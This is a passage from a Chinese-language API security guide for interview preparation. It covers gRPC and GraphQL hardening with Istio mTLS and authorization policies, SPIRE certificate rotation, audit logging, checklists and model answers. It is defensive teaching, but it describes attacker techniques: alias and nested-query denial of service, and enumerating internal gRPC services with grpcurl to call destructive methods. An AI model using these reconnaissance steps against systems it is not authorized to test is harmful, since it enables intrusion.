return Status.INTERNAL.withDescription("服务内部错误" + generic);
}
// ★ 兜底:所有未分类错误都返回通用信息
return Status.INTERNAL.withDescription("服务内部错误" + generic);
}
}
攻击面 6️⃣:证书管理混乱 → SPIFFE/SPIRE 自动轮换
问题:手工管理证书(签发、分发、轮换、吊销)是运维噩梦, 结果就是“证书 10 年不过期、所有服务共用一个证书” —— 一个泄露全崩。
解法:SPIFFE / SPIRE —— 零信任身份标准,自动给每个工作负载发短期身份证书。
三个概念(★ 面试要能说清):
| 概念 | 白话 | 类比 |
|---|---|---|
| SPIFFE | 一套标准:定义“工作负载身份”长什么样(SPIFFE ID)、怎么编码进证书 | 身份证的国家标准(尺寸、字段、防伪) |
| SPIFFE ID | 身份标识符,格式 spiffe://trust-domain/ns/namespace/sa/service-account |
身份证号 |
| SPIRE | SPIFFE 的参考实现:一个服务端 + 每个节点一个 Agent,自动签发和轮换证书 | 公安局 + 各派出所(自动给你办证、到期自动换) |
SPIRE 的工作流程:
① 工作负载启动,通过 Workload API(本地 Unix Socket)向 SPIRE Agent 要身份
↓
② SPIRE Agent【验证工作负载的身份】(★ 关键,这一步叫 Attestation)
验证方式:K8s 里看 Pod 的 namespace/serviceAccount
物理机上看进程 UID / 二进制哈希 / TPM
↓
③ 验证通过 → SPIRE Server 签发一个 SVID(X.509 证书)
证书里带 SPIFFE ID(放在 SAN 的 URI 字段)
★ 有效期很短(默认 1 小时)
↓
④ 工作负载拿到证书,用于 mTLS 通信
↓
⑤ ★ 证书到期前,SPIRE Agent 自动轮换(业务代码零感知)
↓
⑥ 対端从证书里取出 SPIFFE ID,据此做授权
("spiffe://corp.com/ns/prod/sa/order-service" 可以调 PaymentService 吗?)
Istio 里使用 SPIFFE(几乎零配置,Istio 自带):
# ★ Istio 会自动给每个 Pod 注入 SVID 证书,并自动轮换
# 查看某个 Pod 的证书
kubectl exec -it deploy/order-service -c istio-proxy -- \
openssl s_client -connect localhost:15000 -showcerts 2>/dev/null | \
openssl x509 -noout -text | grep -A1 "Subject Alternative Name"
# 输出:
# X509v3 Subject Alternative Name:
# URI:spiffe://cluster.local/ns/prod/sa/order-service
# ↑ namespace ↑ serviceAccount
攻击面 7️⃣:日志与可观测性缺失 → 结构化日志 + 审计
/**
* ✅ gRPC 审计日志拦截器(★ 二进制协议的补救措施)
*
* ★ 关键:因为二进制看不到内容,所以【必须靠代码主动记录】
* 记录什么:谁(身份)在什么时间调了哪个方法、耗时、结果码
* ★ 不要记录完整请求体(可能含敏感数据)
*/
@Component
@Slf4j
public class GrpcAuditInterceptor implements ServerInterceptor {
@Override
public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
ServerCall<ReqT, RespT> call,
Metadata headers,
ServerCallHandler<ReqT, RespT> next) {
long start = System.currentTimeMillis();
String method = call.getMethodDescriptor().getFullMethodName();
UserContext user = GrpcAuthInterceptor.USER_CONTEXT_KEY.get();
PeerIdentity peer = MtlsIdentityInterceptor.PEER_IDENTITY_KEY.get();
String clientIp = getClientIp(call);
return new ForwardingServerCallListener
.SimpleForwardingServerCallListener<ReqT>(
next.startCall(call, headers)) {
@Override
public void onHalfClose() {
super.onHalfClose();
}
@Override
public void onCancel() {
logAudit("CANCELLED");
super.onCancel();
}
@Override
public void onComplete() {
logAudit("COMPLETED");
super.onComplete();
}
private void logAudit(String result) {
long cost = System.currentTimeMillis() - start;
// ★ 结构化日志(方便 SIEM 采集)
log.info("[gRPC审计] method={} caller={} user={} tenant={} ip={} " +
"cost={}ms result={}",
method,
peer == null ? "-" : peer.commonName(),
user == null ? "-" : user.userId(),
user == null ? "-" : user.tenantId(),
clientIp, cost, result);
// ★ 上报 Prometheus
Metrics.timer("grpc.server.call",
"method", method,
"caller", peer == null ? "unknown" : peer.commonName())
.record(cost, TimeUnit.MILLISECONDS);
// ★ 慢调用告警
if (cost > 1000) {
log.warn("[gRPC慢调用] method={} cost={}ms user={}",
method, cost, user == null ? "-" : user.userId());
}
}
};
}
private String getClientIp(ServerCall<?, ?> call) {
SocketAddress addr = call.getAttributes()
.get(Grpc.TRANSPORT_ATTR_REMOTE_ADDR);
if (addr instanceof InetSocketAddress inet) {
return inet.getAddress().getHostAddress();
}
return "unknown";
}
}
3.9.4 服务网格:Istio 的 PeerAuthentication 与 AuthorizationPolicy
★ 为什么 gRPC 几乎必须配服务网格?
因为 gRPC 的安全需求(mTLS、身份认证、细粒度授权、可观测性) 如果全部写在业务代码里,每个服务都要写一遍,而且语言不同实现不同。
服务网格的思路:把这些能力下沉到 Sidecar(Envoy 代理), 业务代码零侵入,由平台统一配置和轮换。
架构图:
┌─────────────────────── Pod ──────────────────────┐
│ │
│ ┌──────────────┐ mTLS ┌───────────┐ │
│ │ 业务容器 │◄─────────────►│ Envoy │ │
│ │ (gRPC Server)│ localhost │ Sidecar │ │
│ │ 明文通信 │ │ │ │
│ └──────────────┘ └─────┬─────┘ │
│ │ │
└─────────────────────────────────────────┼────────┘
│ ★ mTLS 加密出 Pod
▼
┌───────────┐
│ 対端 Pod │
│ Envoy │
└───────────┘
★ 关键:
① 业务代码【完全不知道 mTLS 的存在】,写的还是明文 gRPC
② Envoy 自动完成:证书获取(从 Istiod)、mTLS 握手、证书轮换
③ 授权策略由 Istiod 下发,Envoy 执行
✅ PeerAuthentication:控制“要不要 mTLS”
# ===== ① 命名空间级:整个 prod 命名空间强制严格 mTLS =====
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
name: default
namespace: prod
spec:
mtls:
mode: STRICT # ★ STRICT = 只接受 mTLS 流量
# mtls.mode 的三个值:
# STRICT 只接受 mTLS(★ 生产推荐)
# PERMISSIVE 明文和 mTLS 都接受(★ 迁移期用,方便灰度)
# DISABLE 不接受 mTLS(明文)
# ===== ② 工作负载级:给某个服务单独配置 =====
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
name: payment-service-mtls
namespace: prod
spec:
selector:
matchLabels:
app: payment-service
mtls:
mode: STRICT
# ★ 端口级覆盖:健康检查端口不用 mTLS(kubelet 不会带证书)
portLevelMtls:
8080:
mode: DISABLE # 管理端口豁免
# ===== ③ 迁移期:先用 PERMISSIVE,观察无异常再切 STRICT =====
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
name: default
namespace: prod
spec:
mtls:
mode: PERMISSIVE # ★ 第一步:两者都接受
# 观察方式:
# kubectl exec -it deploy/x -c istio-proxy -- \
# curl localhost:15000/stats | grep ssl
# 看 ssl.handshake 和 plaintext 的比例
✅ AuthorizationPolicy:控制“谁能调谁”(★ 核心)
# ===== ① 默认拒绝:整个命名空间拒绝所有未明确允许的流量 =====
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: deny-all
namespace: prod
spec:
{} # ★ 空的 spec = 拒绝所有(Deny by Default)
# ===== ② 允许特定服务调用(★ 基于 SPIFFE ID 的服务身份)=====
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: payment-service-policy
namespace: prod
spec:
selector:
matchLabels:
app: payment-service
action: ALLOW
rules:
# 规则 1:只允许 order-service 调用,且只能调 POST /Transfer
- from:
- source:
# ★ principals 就是 SPIFFE ID
# [<TRUST_DOMAIN>]/ns/<namespace>/sa/<service-account>
principals: ["cluster.local/ns/prod/sa/order-service"]
to:
- operation:
paths: ["/com.example.payment.PaymentService/Transfer"]
methods: ["POST"]
# 规则 2:允许 accounting-service 调用查询类方法
- from:
- source:
principals: ["cluster.local/ns/prod/sa/accounting-service"]
to:
- operation:
paths:
- "/com.example.payment.PaymentService/GetTransaction"
- "/com.example.payment.PaymentService/ListTransactions"
# 规则 3:允许 Prometheus 抓取指标
- from:
- source:
namespaces: ["monitoring"]
to:
- operation:
ports: ["15020"] # Envoy 的 metrics 端口
# ===== ③ 基于 JWT 的用户身份授权(南北向)=====
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: user-api-jwt
namespace: prod
spec:
selector:
matchLabels:
app: user-api
action: ALLOW
rules:
- from:
- source:
# ★ 来源必须是通过了 JWT 认证的
requestPrincipals: ["https://auth.example.com/*"]
when:
# ★ 校验 JWT 里的 scope 声明
- key: request.auth.claims[scope]
values: ["user:read", "user:write"]
# ★ 校验 JWT 的 audience
- key: request.auth.audiences
values: ["user-api"]
# ★ 校验 JWT 里的租户(多租户隔离)
- key: request.auth.claims[tenant_id]
values: ["tenant-a", "tenant-b"]
# ===== ④ 配合 RequestAuthentication 定义 JWT 校验规则 =====
apiVersion: security.istio.io/v1
kind: RequestAuthentication
metadata:
name: jwt-auth
namespace: prod
spec:
selector:
matchLabels:
app: user-api
jwtRules:
- issuer: "https://auth.example.com"
jwksUri: "https://auth.example.com/.well-known/jwks.json"
audiences:
- "user-api"
forwardPayloadToken: true # ★ 把 JWT 透传给业务
fromHeaders:
- name: Authorization
prefix: "Bearer "
fromCookies: ["auth_token"] # 可选:从 Cookie 里取
# ===== ⑤ 显式 DENY(优先级高于 ALLOW,用于封禁)=====
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: deny-deprecated-api
namespace: prod
spec:
selector:
matchLabels:
app: user-api
action: DENY # ★ DENY 优先于所有 ALLOW
rules:
- to:
- operation:
paths: ["/com.example.user.UserService/ExportAllData"]
- from:
- source:
principals: ["cluster.local/ns/dev/sa/*"] # ★ 禁止 dev 命名空间访问 prod
★ AuthorizationPolicy 的评估顺序(面试会问):
1. 如果有任何 DENY 规则匹配 → 拒绝(★ 最高优先级) 2. 如果没有 ALLOW 规则 → 允许(★ 注意:空策略 = 全放行!) 3. 如果有 ALLOW 规则且匹配 → 允许 4. 如果有 ALLOW 规则但不匹配 → 拒绝 ★ 所以"默认拒绝"必须显式写一个 spec: {} 的 AuthorizationPolicy 很多人以为"不配就是拒绝",恰恰相反 —— 不配是【全放行】!
✅ 常用的运维命令
# ===== ① 检查 mTLS 是否生效 =====
istioctl x describe pod deploy/order-service-xxx
# ===== ② 查看某个服务的授权策略 =====
istioctl x authz check deploy/payment-service-xxx
# ===== ③ 抓包验证流量是加密的 =====
kubectl exec -it deploy/order-service -c istio-proxy -- \
tcpdump -i any -A -s 0 'port 9090' | head -50
# ★ 如果看到明文 JSON/Protobuf 内容 → mTLS 没生效
# ===== ④ 测试:从测试 Pod 里用 grpcurl 调(看是否被拦)=====
kubectl run grpcurl-test --rm -it --image=fullstorydev/grpcurl -- \
-plaintext payment-service:9090 list
# ★ 正确结果:Connection refused 或 PermissionDenied(说明 mTLS 生效了)
# ===== ⑤ 查看证书信息 =====
istioctl proxy-config secret deploy/order-service-xxx -o json | \
jq -r '.dynamicActiveSecrets[0].secret.tlsCertificate.certificateChain.inlineBytes' | \
base64 -d | openssl x509 -noout -text | grep -A2 "Alternative"
# ===== ⑥ 用 istioctl 分析配置问题 =====
istioctl analyze -n prod
3.9.5 gRPC 安全 Checklist
| # | 检查项 | 怎么做 | 优先级 |
|---|---|---|---|
| 1 | 生产环境关闭反射服务 | reflection.Register 只在非生产调用 |
★★★ |
| 2 | 启用 mTLS(STRICT 模式) | Istio PeerAuthentication 或代码配 ClientAuth.REQUIRE |
★★★ |
| 3 | 禁止 InsecureTrustManagerFactory |
用真实 CA | ★★★ |
| 4 | 方法级授权 + 默认拒绝 | AuthorizationPolicy + 应用层拦截器双保险 | ★★★ |
| 5 | 数据级授权(防 BOLA) | SQL 带租户条件 + 归属校验 | ★★★ |
| 6 | 内外消息类型分离(.proto) | UserPublic vs UserInternal |
★★★ |
| 7 | 消息大小限制(入站 + 出站) | maxInboundMessageSize |
★★★ |
| 8 | 并发流数、连接数限制 | maxConcurrentCallsPerConnection |
★★ |
| 9 | HTTP/2 头部大小限制(防 HPACK 炸弹) | maxInboundMetadataSize |
★★ |
| 10 | 统一错误处理,不透出堆栈/SQL | ExceptionInterceptor | ★★★ |
| 11 | 证书自动轮换(SPIRE,≤1 小时) | SPIRE / Istio 自动轮换 | ★★ |
| 12 | 结构化审计日志(因为二进制看不到) | AuditInterceptor | ★★★ |
| 13 | 流式接口分页 + 条数上限 + 超时 | 见 3.9.2 特殊之处 5 | ★★ |
| 14 | 超时(Deadline)必设 | withDeadlineAfter(3, SECONDS) |
★★★ |
| 15 | 定期用 grpcurl 自查(模拟攻击者) | 扫描内网端口 | ★★ |
3.10 三种接口协议的安全对比与选型
3.10.1 全景对比表(★ 面试必背)
| 维度 | REST (JSON) | GraphQL | gRPC |
|---|---|---|---|
| 主要场景 | 对外 API(南北向) | 对外 API,多端适配 | 服务间通信(东西向) |
| 传输格式 | 文本 JSON | 文本 JSON | 二进制 Protobuf |
| 端点 | 多个(/api/users) |
单个(/graphql) |
单个 + 方法名 |
| 安全设备可见性 | ✅ 完全可见 | ✅ 可见(JSON) | ❌ 不可见(二进制) |
| WAF 有效性 | ✅ 有效 | ⚠️ 部分有效 | ❌ 基本无效 |
| 授权单位 | 接口(路径) | 字段 | 方法 + 数据 |
| 独有漏洞 | 常规 OWASP Top 10 | 内省 / 深度DoS / 别名绕过限流 / 字段级授权缺失 | 反射 / 无认证 / 二进制不可见 |
| DoS 风险 | 中(大分页) | 极高(嵌套放大 10^12) | 中(流式 / 大消息) |
| 限流单位 | HTTP 请求数 | ★ 查询复杂度 + 字段次数 | 方法调用数 + 消息大小 |
| 认证方式 | JWT / Session / OAuth2 | JWT / Session | ★ mTLS + JWT |
| 接口文档 | Swagger(额外维护) | 内省(自带,也是风险) | .proto(自带,反射有风险) |
| 版本管理 | URL 版本号(/v1 /v2) | 无版本(字段废弃机制) | proto 包名版本号 |
| 安全成熟度 | 高(工具链成熟) | 中(工具在成长) | 低(依赖服务网格) |
3.10.2 ★ 三者的安全建设重点(一句话总结,背下来)
REST API: “守住每个接口。授权单位是接口,重点是 BOLA(对象级越权)和 BOPLA(属性级越权)。”
GraphQL: “守住图的形状和每个节点。三件事必做:关内省、限复杂度(深度+宽度+条数)、字段级授权。”
gRPC: “守住服务身份。因为二进制让传统设备失明,只能靠 mTLS + 服务网格 + 应用层拦截器。”
3.10.3 三种协议的“必做项”速查卡
┌──────────────────────────────────────────────────────────────┐
│ REST API 安全必做(8 项) │
├──────────────────────────────────────────────────────────────┤
│ ☐ 每个接口的【对象级】归属校验(BOLA) │
│ ☐ 返回 DTO 而不是实体(BOPLA,防过度数据暴露) │
│ ☐ 默认拒绝(Deny by Default) │
│ ☐ 参数化查询(防 SQL 注入)+ 白名单排序 │
│ ☐ 分页上限 + 超时 │
│ ☐ 敏感业务流防护(短信/优惠券/支付) │
│ ☐ SSRF 防护(URL 获取类接口) │
│ ☐ 按接口/用户限流 │
└──────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ GraphQL 安全必做(10 项)★ 特有 │
├──────────────────────────────────────────────────────────────┤
│ ☐ ★ 生产关闭内省(Introspection) │
│ ☐ ★ 关闭 "Did you mean" 字段建议 │
│ ☐ ★ 查询深度限制(10~15) │
│ ☐ ★ 查询复杂度限制(列表字段要乘分页大小) │
│ ☐ ★ 分页参数硬上限(first ≤ 1000) │
│ ☐ ★ 限制根字段数量(≤20)+ 同名字段重复次数(≤10)防别名攻击 │
│ ☐ ★ 禁用批量请求(Batching)或限制批量大小 │
│ ☐ ★ DataLoader 防 N+1(且必须是请求级,否则数据泄露) │
│ ☐ ★ 字段级授权(Directive)+ ArchUnit 测试强制 │
│ ☐ ★ 整体超时 + 独立线程池(兜底) │
└──────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ gRPC 安全必做(10 项)★ 特有 │
├──────────────────────────────────────────────────────────────┤
│ ☐ ★ 生产关闭反射服务(Reflection) │
│ ☐ ★ mTLS(STRICT),禁止 InsecureTrustManager │
│ ☐ ★ 证书自动轮换(SPIRE,≤1 小时) │
│ ☐ ★ 方法级授权 + 默认拒绝(Istio AuthorizationPolicy) │
│ ☐ ★ 数据级授权(防 BOLA) │
│ ☐ ★ .proto 内外消息分离(UserPublic vs UserInternal) │
│ ☐ ★ 消息大小限制(入站 + 出站都要设) │
│ ☐ ★ 并发流数 + 连接数 + keepalive 限制 │
│ ☐ ★ 统一错误处理(不透堆栈/SQL) │
│ ☐ ★ 结构化审计日志(因为二进制设备看不到,只能靠代码记) │
└──────────────────────────────────────────────────────────────┘
3.11 面试题 C 组:GraphQL 与 gRPC(30 题)
3.11.1 基础题(1~10,必答对)
| # | 题目 | 难度 | 答案要点 |
|---|---|---|---|
| 1 | GraphQL 和 REST 的核心区别是什么? | ⭐ | 客户端定返回结构 vs 服务端定;单端点 vs 多端点;图的连通性 |
| 2 | 什么是 GraphQL 的 Introspection?有什么风险? | ⭐ | 内省查询导出完整 Schema;泄露所有字段名和入口,是攻击前置条件 |
| 3 | 关掉内省就安全了吗?为什么? | ⭐⭐ | 不安全。① “Did you mean” 建议泄露字段名 ② 前端 JS 里有 Schema ③ persisted query 回退 |
| 4 | GraphQL 的深度攻击是什么?怎么防? | ⭐⭐ | 嵌套循环引用导致 N^depth 次查询;深度限制 + 复杂度限制 + 超时 |
| 5 | 什么是 GraphQL 的别名攻击? | ⭐⭐ | 一次请求用别名重复调同一字段 1000 次,绕过“按请求次数”的限流 |
| 6 | GraphQL 的 N+1 问题怎么解决? | ⭐⭐ | DataLoader(批量 + 缓存);注意必须是请求级实例 |
| 7 | gRPC 用什么序列化?有什么优缺点? | ⭐ | Protobuf 二进制;小/快,但人不可读、中间设备失明 |
| 8 | gRPC 的反射服务有什么风险?怎么关? | ⭐⭐ | grpcurl list 可导出所有服务/方法/消息结构;生产不注册 reflection |
| 9 | mTLS 和普通 TLS 的区别? | ⭐⭐ | mTLS 双方互相验证证书;解决“服务身份”,普通 TLS 只验证服务端 |
| 10 | 什么是 SPIFFE ID? | ⭐⭐ | 工作负载身份标识 spiffe://trust-domain/ns/ns/sa/sa,编码在证书 SAN 里 |
3.11.2 进阶题(11~20,要能展开)
| # | 题目 | 难度 | 答案要点 |
|---|---|---|---|
| 11 | 为什么 GraphQL 的授权必须做到字段级? | ⭐⭐⭐ | 只有一个 /graphql 路径,按路径授权完全失效;客户端能自己走到图里任何节点 |
| 12 | GraphQL 的限流为什么不能按“请求次数”? | ⭐⭐⭐ | 一次请求可含 1000 别名字段 = 1000 次操作;要按复杂度和字段次数限流 |
| 13 | DataLoader 为什么必须是请求级的? | ⭐⭐⭐ | 单例会跨请求共享缓存 → 用户 B 命中用户 A 的缓存 → 越权泄露 + 脏读 |
| 14 | 复杂度限制怎么防止“分页参数”绕过? | ⭐⭐⭐ | 列表字段的成本必须乘 first/limit 参数,否则 first=100000 成本还是 1 |
| 15 | Fragment 怎么绕过深度限制? | ⭐⭐⭐ | 递归 Fragment 自己引用自己;用 QueryTraverser 展开并检测循环,直接拒绝递归 Fragment |
| 16 | gRPC 为什么“传统 WAF 失效”? | ⭐⭐⭐ | 二进制 Protobuf,WAF 看不到内容;安全重心必须转移到 mTLS + 拦截器 + 服务网格 |
| 17 | gRPC 里怎么做 BOLA 防护? | ⭐⭐⭐ | 和 REST 一样:SQL 带租户条件 + 归属校验;返回 NOT_FOUND 而不是 PERMISSION_DENIED |
| 18 | Istio 的 AuthorizationPolicy 默认是拒绝还是允许? | ⭐⭐⭐⭐ | 默认允许(没配策略 = 全放行);必须显式写 spec: {} 才是默认拒绝 |
| 19 | PeerAuthentication 的 STRICT 和 PERMISSIVE 区别? | ⭐⭐⭐ | STRICT 只接受 mTLS;PERMISSIVE 明文和 mTLS 都接受(迁移期用) |
| 20 | gRPC 的流式接口有什么风险? | ⭐⭐⭐ | 一次调用返回无限条数据 → DoS;必须分页 + 条数上限 + 超时 |
3.11.3 场景题(21~26,★★★ 高频)
| # | 题目 | 难度 |
|---|---|---|
| 21 | 我们的 GraphQL 服务上线后被刷短信,限流明明设了“每分钟 10 次请求”,为什么还是被发了 1 万条短信? | ⭐⭐⭐⭐ |
| 22 | 线上 GraphQL 接口突然全超时,排查发现 CPU 和数据库连接池都满了,但 QPS 只有 5。可能是什么原因? | ⭐⭐⭐⭐ |
| 23 | 我们内网有个 gRPC 服务被发现可以匿名调用,可能造成的最大危害是什么?怎么排查? | ⭐⭐⭐⭐ |
| 24 | 怎么设计一个 GraphQL 服务,让它即便内省被打开也不会泄露敏感信息? | ⭐⭐⭐⭐ |
| 25 | 服务网格上了之后,业务代码还需要做权限校验吗?为什么? | ⭐⭐⭐⭐⭐ |
| 26 | 从 REST 迁到 GraphQL,安全上需要新增哪些防护? | ⭐⭐⭐ |
场景题参考答案要点:
Q21(短信被刷):
“因为限流维度错了。GraphQL 支持别名,攻击者一次请求里写 1000 个
sendSmsCode别名, 1 次 HTTP 请求 = 1000 条短信。你的限流数的是 HTTP 请求数,完全没触发。修复:① 限制单次请求的根字段数量(≤20)和同名字段重复次数(≤10) ② 生产禁用批量请求 ③ 把限流维度改成“字段解析次数”(用 Instrumentation 在敏感字段解析前扣配额) ④ 业务侧防护:短信接口本身要有图形验证码 + 手机号维度频率限制(1 分钟 1 次、1 小时 5 次、1 天 20 次)
- 设备指纹 + 风控。
★ 关键认知:协议层的限制是防线,业务侧的防护才是保险柜。“
Q22(QPS 5 但数据库满):
“典型的 GraphQL 深度/复杂度攻击,或者 N+1。
排查: ① 先看访问日志,找
/graphql的请求体大小 —— 攻击 Payload 通常很小(几百字节)但嵌套很深 ② 开 GraphQL 的查询日志,看具体查询长什么样 ③ 看数据库是不是有大量高度相似的 SQL(N+1 特征)三种可能: a) 循环引用套娃:
user→orders→user→orders...15 层 = 10^19 次查询 b) N+1:查 100 用户 → 100 次订单查询 → 2000 次商品查询 → 10 万次评论查询 c) 宽扇出:allUsers(first:100000)一次拉 10 万条应急:先限流/封 IP,再上深度和复杂度限制。 根治:深度限制 + 复杂度限制 + DataLoader + 分页硬上限 + 整体超时 + 独立线程池。“
Q23(内网 gRPC 匿名可调用):
“最大危害是内网横向移动的跳板。 gRPC 服务通常在内网、无认证、二进制不可见, 攻击者进去之后可以: ①
grpcurl list拿到所有服务和方法(如果反射开着) ② 直接调 DeleteUser / Refund / Transfer / ExportAllData ③ 因为二进制 + 无日志,几乎无法被发现 —— 这是最可怕的排查: ① 扫内网所有 gRPC 端口(默认没标准端口,常见 9090/50051) ② 对每个端口跑
grpcurl -plaintext <ip:port> list③ 能 list 出来的就是反射开着;再试着调用关键方法看是否需要认证 ④ 用 Istio 的istioctl x authz check看授权策略是否覆盖修复:关反射 + mTLS STRICT + AuthorizationPolicy 默认拒绝 + 审计日志。“
Q24(内省开着也不泄露):
“三层: ① 分层 Schema:对外 Schema 在构建期就裁剪掉敏感字段(passwordHash、internal*、cost), 内省拿到的是干净版本 —— 这是最治本的 ② 字段级授权:每个字段声明 Directive,未授权返回 null(不抛异常,避免泄露字段存在性) ③ PII 自动脱敏:手机号、身份证这类字段,非本人/非管理员自动打码
★ 核心原则:不要靠“攻击者不知道字段名”来保安全,要靠“知道了也拿不到数据”。 这就是“纵深防御” —— 内省是外层,字段级授权是内层。 外层可以破,内层不能破。“
Q25(上服务网格后业务还要校验吗):
“要。 三个理由:
① 服务网格只管到“服务身份”和“方法级”,管不到“数据级”。 Istio 的 AuthorizationPolicy 能说“order-service 可以调 PaymentService/Transfer”, 但它看不到请求体里的 user_id(二进制), 所以判断不了“这个 user_id 是不是当前用户的” —— 这是 BOLA,必须业务代码做。
② 零信任原则:不能假设网络安全边界可靠。 Sidecar 可能被绕过(比如 Pod 直接用 hostNetwork、或者 Sidecar 被卸载), 配置可能被误改。业务代码做的是“最后一道防线”。
③ 纵深防御:任何单点防护都可能有漏洞。
★ 分工应该是: 服务网格做“粗粒度”(服务到服务、方法级、命名空间级) 业务代码做“细粒度”(数据归属、字段级、业务规则) 两者都要有,不能互相替代。“
3.11.4 高频连环追问链
追问链 1(GraphQL 安全):
"你们用 GraphQL 吗?"
→ "内省关了吗?"
→ "关了就安全吗?'Did you mean' 建议会不会泄露字段名?"
→ "那怎么防止别人靠错误提示枚举字段名?"
→ "生产环境关建议。但更治本的是字段级授权 —— 知道了字段名也拿不到数据"
→ "字段级授权怎么实现?"
→ "Directive 声明式 + ArchUnit 测试强制新字段必须有声明"
→ "ArchUnit 挂了会不会被 allow_failure 绕过?"
→ "必须 allow_failure: false,挂了不让合并"
追问链 2(DoS):
"GraphQL 怎么防 DoS?"
→ "深度限制够吗?"
→ "不够。深度限制拦不住 first=100000 这种宽度攻击,得用复杂度限制"
→ "复杂度怎么算?"
→ "列表字段成本要乘分页大小,还要按字段配权重"
→ "配不准怎么办?"
→ "所以必须有超时兜底 —— 深度和复杂度都是事前估算,一定会漏,
超时兜的是'所有你没想到的攻击方式'"
追问链 3(限流被绕过):
"你们怎么限流?"
→ "按请求次数限流,GraphQL 能被绕过吗?"
→ "能。用别名,1 次请求 1000 次操作"
→ "那怎么防?"
→ "限流维度改成字段解析次数 + 限制根字段数量 + 业务侧验证码和失败锁定"
→ "如果攻击者换 IP 呢?"
→ "上设备指纹 + 风控引擎。但根本上说,'
业务接口自身的防护(验证码/锁定/风控)才是保险柜',
不能只指望协议层限流"
追问链 4(gRPC):
"gRPC 怎么保证安全?"
→ "mTLS 够吗?"
→ "不够。mTLS 只解决'你是谁'(认证),不解决'你能做什么'(授权)"
→ "那授权怎么做?"
→ "Istio AuthorizationPolicy 做服务级和方法级,业务拦截器做数据级"
→ "Istio 配了之后业务代码还要校验吗?"
→ "要。因为 Istio 看不到 Protobuf 里的内容,判断不了数据归属(BOLA)"
→ "那 AuthorizationPolicy 默认拒绝还是默认允许?"
→ "【默认允许】,必须显式写 spec: {} 才是拒绝。这是最容易踩的坑"
追问链 5(DataLoader):
"GraphQL 的 N+1 怎么解决?"
→ "DataLoader"
→ "DataLoader 的缓存是跨请求的吗?"
→ "不能是。跨请求缓存会导致用户 A 的数据被用户 B 读到(越权泄露),
而且数据更新后读不到新值(脏读)。必须每个请求 new 一个 Registry"
→ "还有什么坑?"
→ "批量加载没有上限(WHERE id IN 10万个 id),
批量函数里要带租户条件(否则跨租户越权),
缓存 key 要带分页参数(否则不同分页串数据)"
3.12 第三章小结
3.12.1 核心认知五条
┌────────────────────────────────────────────────────────────────┐
│ ① GraphQL 把"接口设计权"交给了客户端 │
│ 效率大幅提升,但攻击面也一起交出去了。 │
│ ★ 所以授权单位从"接口"下沉到"字段", │
│ 限制单位从"请求次数"改成"复杂度和字段次数"。 │
├────────────────────────────────────────────────────────────────┤
│ ② GraphQL 的 DoS 威力是 REST 的一万倍 │
│ 500 字节的请求体 → 10^12 次数据库查询。 │
│ ★ 三件事必做:深度限制(拦套娃) │
│ + 复杂度限制(拦宽度) │
│ + 超时(拦所有你没想到的) │
│ 少做一件都可能被打穿。 │
├────────────────────────────────────────────────────────────────┤
│ ③ 关内省只是"把钥匙藏在地垫下面" │
│ 字段名会靠 "Did you mean" 泄露,前端 JS 里也有一份 Schema。 │
│ ★ 治本是【字段级授权】: │
│ 不要靠"攻击者不知道字段名"保安全, │
│ 要靠"知道了也拿不到数据"。 │
├────────────────────────────────────────────────────────────────┤
│ ④ gRPC 用二进制换性能,代价是【传统安全设备全部失明】 │
│ WAF 看不到、网关看不到、日志看不到、DLP 看不到。 │
│ ★ 安全重心必须从"边界设备"转移到"服务自身": │
│ mTLS(服务身份)+ 拦截器(认证授权审计) │
│ + 服务网格(统一配置)+ 结构化日志(因为别处看不到了) │
├────────────────────────────────────────────────────────────────┤
│ ⑤ 服务网格不是银弹,业务代码的校验不能省 │
│ Istio 能管"order-service 可以调 PaymentService/Transfer", │
│ 但【看不到 Protobuf 里的 user_id】,判断不了数据归属。 │
│ ★ 分工:网格做粗粒度(服务级/方法级) │
│ 业务做细粒度(数据级/字段级/业务规则) │
│ 而且 Istio 的 AuthorizationPolicy 【默认是允许】, │
│ 不配 = 全放行,必须显式写 spec: {} 才是默认拒绝。 │
└────────────────────────────────────────────────────────────────┘
3.12.2 一句话记忆法(面试开场白)
REST:守门(每个接口一道门) GraphQL:守图(每个节点和每条边) gRPC:守身份(因为中间没人看得见内容)
3.12.3 三份“上线前必查”清单
GraphQL 上线前(10 项):
☐ 生产内省已关闭
☐ "Did you mean" 建议已关闭
☐ /graphiql、/playground 已下线
☐ 查询深度限制 ≤ 15
☐ 查询复杂度限制已配置(且列表字段乘分页大小)
☐ 分页参数硬上限 ≤ 1000
☐ 根字段数量 ≤ 20、同名字段重复 ≤ 10
☐ 批量请求已禁用或限制大小
☐ DataLoader 已接入且是请求级实例
☐ 敏感字段已做字段级授权(ArchUnit 测试通过)
☐ 整体超时 + 独立线程池已配置
gRPC 上线前(10 项):
☐ 反射服务已关闭(生产)
☐ mTLS 为 STRICT 模式
☐ 未使用 InsecureTrustManagerFactory
☐ 证书自动轮换(≤1 小时)
☐ AuthorizationPolicy 已配置,且有"默认拒绝"策略
☐ 消息大小限制(入站 + 出站)
☐ 并发流数、连接数、keepalive 已限制
☐ 错误处理不透出堆栈和 SQL
☐ 结构化审计日志已接入
☐ 内外消息类型已分离(UserPublic vs UserInternal)
通用(不论什么协议):
☐ 认证(你是谁)—— 不能依赖网络位置
☐ 授权(你能做什么)—— 对象级 + 功能级 + 数据级
☐ 限流(你不能滥用)—— 维度要对(不是请求数,是操作次数)
☐ 超时(你不能拖死我)—— 兜底,必做
☐ 日志(我能追溯)—— 结构化,含身份和结果
☐ 默认拒绝 —— 所有安全配置的通用原则
第四章:移动 App 与小程序安全(客户端不可信的极致)
本章定位:前三章讲的是“服务端怎么防客户端”。 本章反过来讲一个更残酷的事实:在移动端,客户端是完全在攻击者手里的。
★ 一句话概括本章的核心矛盾:
